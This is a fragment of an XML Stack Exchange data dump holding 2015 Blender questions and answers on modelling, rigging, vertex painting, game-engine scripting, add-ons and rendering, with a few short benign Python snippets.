  <row Id="31146" PostTypeId="2" ParentId="31144" CreationDate="2015-05-20T02:20:16.853" Score="11" Body="&lt;p&gt;First you need to extrude all the faces individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LA351.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select all the bottom vertices and hide them using &lt;kbd&gt;H&lt;/kbd&gt; button to leave visible only the top faces and use proportional editing to move the faces up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaCFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select all the faces, change &lt;strong&gt;Pivot Point&lt;/strong&gt; to &lt;strong&gt;Individual Origins&lt;/strong&gt; and scale on Z axis to zero using &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Umxnj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then unhide hidden geometry with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cVgJd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-20T02:20:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31147" PostTypeId="1" CreationDate="2015-05-20T02:39:03.650" Score="1" ViewCount="731" Body="&lt;p&gt;I was in process of activating the POV-ray 3.7 addon and there was a warning with the message &quot;this script is RC&quot;.  What does this warning mean?&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="599" LastEditDate="2015-06-04T23:40:02.370" LastActivityDate="2015-06-08T05:43:17.437" Title="Add-on has a warning that &quot;this script is RC&quot;. What does this mean?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="11" ClosedDate="2015-05-28T14:03:19.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="31148" PostTypeId="2" ParentId="30457" CreationDate="2015-05-20T02:42:08.897" Score="2" Body="&lt;p&gt;I have found a nice script from &lt;a href=&quot;http://www.tutorialsforblender3d.com/GameModule/ClassKX_GameObject_14.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and it is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the controller&#xA;controller = GameLogic.getCurrentController()&#xA;&#xA;# get the game object that the controller is attached to.&#xA;obj = controller.owner&#xA;&#xA;# get local (game object) linear velocity&#xA;linVelocity = obj.getLinearVelocity(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have modified it for my own scene, and I've also defined speed.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3710" LastEditDate="2015-05-20T06:43:46.953" LastActivityDate="2015-05-20T06:43:46.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31150" PostTypeId="1" CreationDate="2015-05-20T02:48:17.873" Score="3" ViewCount="3675" Body="&lt;p&gt;I'm trying to create a chainsaw type of animation using bones. I may be approaching this from the wrong direction but I would like to create a chain of bones and have them follow a path.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the SplineIK constraint to create the shape but I'm not able to get it to animate correctly on the Bezier circle. &lt;img src=&quot;https://i.stack.imgur.com/vtv8x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is about as far as I got, but I can't actually move the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZuMN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to get one unparented bone to move around the circle but never a chain of bones.  Any advice would be appreciated! I really hope I can get this to work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="14474" LastEditorUserId="19307" LastEditDate="2016-05-02T20:38:57.013" LastActivityDate="2016-05-02T20:38:57.013" Title="Armature chain follow a path" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31151" PostTypeId="2" ParentId="31140" CreationDate="2015-05-20T02:57:47.900" Score="3" Body="&lt;p&gt;I found I had better luck using the FBX 6.1 ASCII settings when exporting to Unity.  Are you animating using bones? I never had any luck importing shape key animations into Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTYFg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the settings I used and had the most success.&lt;/p&gt;&#xA;" OwnerUserId="14474" LastActivityDate="2015-05-20T02:57:47.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31152" PostTypeId="1" CreationDate="2015-05-20T02:58:36.967" Score="0" ViewCount="84" Body="&lt;p&gt;I am starting to have a lot of scripts going on at the same time, &lt;strong&gt;most of which go on every tick and print on every tick.&lt;/strong&gt; When I go to the console to see what is going on, I see a ton of items repeating the same thing line after line. Is there a way to keep this under control? Perhaps it will only print if something changed? If I do that then stuff that is always supposed to be changing will keep printing. How can I keep this under control? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-20T02:58:36.967" Title="Printing items too many times?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31153" PostTypeId="2" ParentId="31147" CreationDate="2015-05-20T03:03:12.583" Score="7" Body="&lt;p&gt;RC means Release Candidate that is a final stage of beta version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Software_release_life_cycle&quot; rel=&quot;nofollow&quot;&gt;Software release life cycle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The warning is added by the Authors of the add-on in its &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Guidelines/Addons&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bl_info&lt;/code&gt; dict&lt;/a&gt;, it does not come from Blender itself. Warnings like that are an attempt by the Authors to inform you (the user) about the add-on's state of completion&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="47" LastEditDate="2015-06-08T05:43:17.437" LastActivityDate="2015-06-08T05:43:17.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31154" PostTypeId="1" CreationDate="2015-05-20T03:19:09.647" Score="1" ViewCount="808" Body="&lt;p&gt;I am trying to use the &quot;joystick&quot; sensor to use with a wired Xbox 360 controller.  I found a thing online that shows how to setup the buttons, triggers, and thumbsticks.  I want the character to move forward when the left joystick is UP.  It doesn't seem to be working.  I'm pretty sure I have the drivers and everything installed right because I have played games with it before.  I have the index as 0, axis, axis number 1, and a threshold of 6200, and Up Axis.  If you could find out what I am doing wrong that would be great.  Thanks!&lt;img src=&quot;https://i.stack.imgur.com/FIBsR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2018-04-19T02:48:53.727" Title="XBOX Controller setup in BGE not working" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31156" PostTypeId="2" ParentId="31126" CreationDate="2015-05-20T04:53:15.140" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;Save addon script in the addons_contrib folder&lt;/li&gt;&#xA;&lt;li&gt;Use nice external editor to edit the script&lt;/li&gt;&#xA;&lt;li&gt;Disable/Enable addon in preferences.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I find this the easiest for addons, by editing the script while it is in the addons folder you only have to disable and re-enable it in the preferences to reload the modified script. The preferences window can be left open to keep it easily accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For non-addon scripts I often edit the file externally and copy/paste it into blenders text editor. I limit what I save in a blend file, only data to start testing, I will often run the script then reload the blend from recent files to go back to the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use an addon by CoDEmanX to run scripts, I picked it up from a &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?312821-Run-Script-in-PyConsole-%28Menu%29&quot;&gt;blender artists thread&lt;/a&gt;. This adds the text blocks to a run script menu in blenders python console, it is much easier to get feedback right there and after you run the script the script variables are available in the console for you to explore further.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-20T04:53:15.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31158" PostTypeId="2" ParentId="31141" CreationDate="2015-05-20T06:25:35.927" Score="2" Body="&lt;p&gt;you would need to go at very high rates in blender. it uses single precision compression. think about doing 1080p60 at the 45-60mpbs range. at 10mbps you will get you lots of artifacts&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2015-05-20T06:25:35.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31160" PostTypeId="1" AcceptedAnswerId="31170" CreationDate="2015-05-20T07:06:26.533" Score="22" ViewCount="33310" Body="&lt;p&gt;I'm trying to add some fake shading to a model in vertex paint mode, but I'm having trouble because some parts of the mesh hide the vertices I'm trying to paint. Ideally, since I'm painting the same colour on all vertices, I'd like to select all the vertices in edit mode, and then use the fill tool (shift+k) to assign the colour to only the selected vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched on the internet for any kind of masking in vertex paint mode, and there appears to be something called &quot;Face Selection Mask&quot;, but this info was from an old forum thread, and doesn't seem to exist in Blender 2.74. The ability to paint or fill only the selection would be extremely helpful.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-05-20T09:58:33.517" Title="Is it possible to paint only on selected vertices in vertex paint?" Tags="&lt;vertex-colors&gt;&lt;masking&gt;&lt;vertex-paint&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31161" PostTypeId="2" ParentId="31160" CreationDate="2015-05-20T07:51:59.543" Score="9" Body="&lt;p&gt;One way you can do this is with the &lt;a href=&quot;http://blender.org/manual/modifiers/generate/mask.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;mask&lt;/em&gt; modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cTMoR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a vertex group of the vertices you want to paint on (or the area you don't want to paint on, whichever is easier)&lt;/li&gt;&#xA;&lt;li&gt;Add a mask modifier and toggle the &lt;em&gt;invert&lt;/em&gt; option if you selected the vertices you &lt;em&gt;don't&lt;/em&gt; want to paint on.&lt;/li&gt;&#xA;&lt;li&gt;Paint, then disable/delete the mask modifier when you are done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-20T08:02:35.700" LastActivityDate="2015-05-20T08:02:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31162" PostTypeId="2" ParentId="31150" CreationDate="2015-05-20T08:51:01.173" Score="4" Body="&lt;p&gt;&lt;strong&gt;Constraints&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a follow path constraint.  Which can rotate objects along the curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The curve hugger bones can have parents but must NOT be connected.  The cutting teeth can be connected to the hugger bones.  I assume the geometric normal bones are cutting teeth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I do not think Spline Constraint is favorable.&lt;/li&gt;&#xA;&lt;li&gt;Consider a conform modifier.  No rotation.&lt;/li&gt;&#xA;&lt;li&gt;If you are really daring you might consider rigid body chain links.  Some people consider these situations unstable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-20T08:51:01.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31163" PostTypeId="2" ParentId="14692" CreationDate="2015-05-20T09:17:22.710" Score="6" Body="&lt;p&gt;I had the same problem, yet not with scripting, but with my blend file moving to another computer, and I didn't take saved images with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to UV/Image editor, press N to bring up the properties panel, and in image tab change source to &quot;Generated&quot;. You can change the resolution there as well if you need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGHUO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for scripting, you probably need to do &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.data.images[&quot;your_bake_texture&quot;].source = 'GENERATED'&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried it myself, but I suppose it is what you need, that's what the info panel shows when I change source. It works from console at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT1: a quick script to reinitialize all images in all materials in the active object, provided you have selected the image texture nodes in all materials (you need to do this to bake your textures anyway):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for slot in bpy.context.active_object.material_slots:&#xA;&#xA;    mat = slot.material&#xA;&#xA;    imag = mat.node_tree.nodes.active.image&#xA;&#xA;    imag.source = 'GENERATED'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-05-22T06:17:07.947" LastActivityDate="2015-05-22T06:17:07.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31164" PostTypeId="1" CreationDate="2015-05-20T09:18:14.317" Score="4" ViewCount="841" Body="&lt;p&gt;I need help getting blender to use up more of my system resources to render videos as it never seem to see it use more than 30% of my CPU and my GPU stays on idle (changed settings to use cuda).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes about 45min to render a 14min video, which I dont think is bad at all, but since I have a lot of system resources left, it would be nice to render faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System specs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i5-3570k&lt;/li&gt;&#xA;&lt;li&gt;8gb Ram&lt;/li&gt;&#xA;&lt;li&gt;GTX 680 2GB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14471" LastEditorUserId="3710" LastEditDate="2015-05-20T09:45:00.843" LastActivityDate="2015-08-18T16:54:59.517" Title="Video Editing - System Resources not being used" Tags="&lt;video&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31165" PostTypeId="2" ParentId="31142" CreationDate="2015-05-20T09:20:50.300" Score="3" Body="&lt;p&gt;If you need to animate your model you can try a simple trick: get a 2D image of a curtain with wrinkles, desaturate it, make it tileable and use it in &quot;multiply&quot; mode with the diffuse texture of your material. &#xA;This makes fake wrinkles that very often do the job!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-20T09:20:50.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31166" PostTypeId="1" CreationDate="2015-05-20T09:48:39.390" Score="17" ViewCount="44258" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWivz.jpg&quot; alt=&quot;Sample&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello. I'm a beginner. &#xA;In the model shown, when I select all of the top vertices and then&#xA;scale them to the center, the center of scaling is not the center of the 3d-model.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I move the center of scaling?&lt;/li&gt;&#xA;&lt;li&gt;How do I move the manipulator widget where I want it after selecting?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14476" LastEditorUserId="41069" LastEditDate="2017-09-08T22:06:34.873" LastActivityDate="2017-09-08T22:06:34.873" Title="How to move the center of scaling" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31167" PostTypeId="2" ParentId="31141" CreationDate="2015-05-20T09:49:21.987" Score="3" Body="&lt;p&gt;It could be something as simple as setting the output quality from 50% (Default) to 100%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JbtDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't explicitly mention this.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-20T09:49:21.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31170" PostTypeId="2" ParentId="31160" CreationDate="2015-05-20T09:58:33.517" Score="26" Body="&lt;p&gt;Face selection masking is available in the 3D header when in 'Vertex Paint' mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zJNQH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this works on faces you will only be able to paint vertices that make up a face, individual vertices or edges won't be filled.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertices you want to paint on in edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change to 'Vertex Paint' mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable 'Face selection masking' in the 3D header. There will now be a dotted line around the selected faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; to fill the selection with the desired colours.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-05-20T09:58:33.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31171" PostTypeId="2" ParentId="31166" CreationDate="2015-05-20T10:12:13.427" Score="17" Body="&lt;p&gt;I assume your mesh is perfectly centered at the 3d space, you could first use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; --&gt; Cursor to center to make sure the 3d cursor is at the center of the 3d space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then (with the mouse pointer pointing to the 3d window) you can make the center of scaling (pivot point = little white circle) to be exactly the same as the 3d cursor by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pressing &lt;kbd&gt;.&lt;/kbd&gt; on the keyboard&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select it from the menu&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UfeQG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By icon of coordinates I think you mean the red, green, blue arrows, sticking out of the pivot point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show the pivot point after moving 3d cursor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LR1zA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what pivot point at active element does:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BQOAo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And pivot point at median point (origin is the orange dot):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/veCec.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Maybe it is a little bit too detailed) :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-20T10:39:24.320" LastActivityDate="2015-05-20T10:39:24.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31172" PostTypeId="1" AcceptedAnswerId="31184" CreationDate="2015-05-20T10:26:41.607" Score="2" ViewCount="3074" Body="&lt;p&gt;Is it possible to extract the Blender Shader and use them in OpenGL as vertex/fragment shaders (GLSL)?&lt;/p&gt;&#xA;" OwnerUserId="14478" LastEditorUserId="13515" LastEditDate="2015-05-20T15:11:25.230" LastActivityDate="2015-05-20T15:11:25.230" Title="Blender Shader in OpenGL/GLSL" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31173" PostTypeId="2" ParentId="31126" CreationDate="2015-05-20T11:06:19.420" Score="17" Body="&lt;p&gt;Blender text-editor is not good for coding, but using external one is cumbersome because the code still needs to be debugged regularly in blender and the blender console and outliner dataview is also very usefull. Switching back and forth would be an annoying experience for me even if the codes (external, internal) could be synced (which they can be with scene_update handlers..).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There was couple years ago &lt;a href=&quot;https://developer.blender.org/T37714&quot; rel=&quot;noreferrer&quot;&gt;an attempt to improve the Text-editor&lt;/a&gt; (using Scintilla that many external text editors use), but it seems dead.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So some time ago I wrote &lt;a href=&quot;https://github.com/Jerryno/CodeEditor/blob/master/code_editor.py&quot; rel=&quot;noreferrer&quot;&gt;this addon&lt;/a&gt; to improve some Text editor functionality so I don't have to go the external path. Nowadays I would code some of it's parts differently and better (especially the multithreaded minimap updating) so any feedback is very welcomed. Here are the features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Start and End with right-click in any Text-editor window (it also ends with F8 because when scripting an addon you need to reload with F8 and that is not possible because this addon is a modal operator. So you need F8 + F8 + Right-click&gt;Start_again )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lznSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When started it adjusts the text-editor to the addon preferences, so you don't have to set line_numbers, syntax_highlight, text_margin etc. every time you open new text-editor window (this is frustating blender behavior, these settings should be global..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UyImH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It follows blender theme colors. The default ones are bad, so here I give you a good ones so its usable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lwgVx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It adds a scrollable and clickable code minimap with syntax highlighting, which fades out when window is too small. It is done in another thread and has lazy updating to not lag the text-editor (python is slow for this). It can be disabled in preferences with just setting huge &lt;em&gt;Hide Panel threshold&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jOCEX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It adds markers to visualize indentation, and it displays the scope of defs and classes (you can see it above in the gif). The scopes could be minimized but this didn't make it into this release because when blender crashes you would loose the hidden code parts (the lines were removed from text and stored in custom property). You can see the toggle icons when you hover over line numbers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Autocompletes brackets and &quot;&quot;,'':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gv4j9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; for magic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;put things in lists:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIYin.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;evaluate expressions (it knows pi, e, phi(golden ratio) and g(grav accel)):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDf4S.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;stringify words when cursor just after the word:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaNbj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Correct &lt;kbd&gt;Home&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Home&lt;/kbd&gt; behavior. Will move to first letter of line or to the previous indent. &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Home&lt;/kbd&gt; now moves to the line beginning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oC61Y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make comments with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. (Remove with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; - this one is not new):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYXRN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With multiple text-files it displays tabs to quickly switch between (blender has tabs but does not use them where it should..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mI0na.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All this was good enough for me not to use external editor. Multiple variables highlighting and multi-editing (like Sublime has) was planned but abandoned. Maybe if enough people will be interested I could further improve this. But I don't see Blender addon python api strong enough to do this properly, this should be done in Blenders code for performance (like that scintilla patch).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;https://cgcookiemarkets.com/blender/all-products/code-autocomplete/&quot; rel=&quot;noreferrer&quot;&gt;this paid addon&lt;/a&gt; that does blender api autocomplete and is very nice.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In your workflow I don't see much room for optimization, except for auto-reloading your script with &lt;code&gt;bpy.app.handlers.scene_update_pre&lt;/code&gt; handler. You should be able also to return to the start state with ctrl-z so you don't have to restart blender but that depends on what you are doing if that would work.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="1448" LastEditDate="2015-05-20T16:01:34.340" LastActivityDate="2015-05-20T16:01:34.340" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31175" PostTypeId="1" CreationDate="2015-05-20T11:29:23.643" Score="1" ViewCount="471" Body="&lt;p&gt;I have an animation almost completed, and wanted to start taking some records of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is that when on camera view, some projects have problems. Here's a screenshot of one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HAPW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender Render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem I'm getting with this is that, if there's a plane near another, it also gets the problem I described above (Like roads and grass, even if the road is few inches above in Z)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've fixed this problem. Main reason was that Mirror wasnt applied :( Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="14479" LastEditorUserId="12" LastEditDate="2015-05-22T01:20:46.980" LastActivityDate="2015-05-22T01:20:46.980" Title="Problem rendering scene" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-05-22T01:20:52.760" 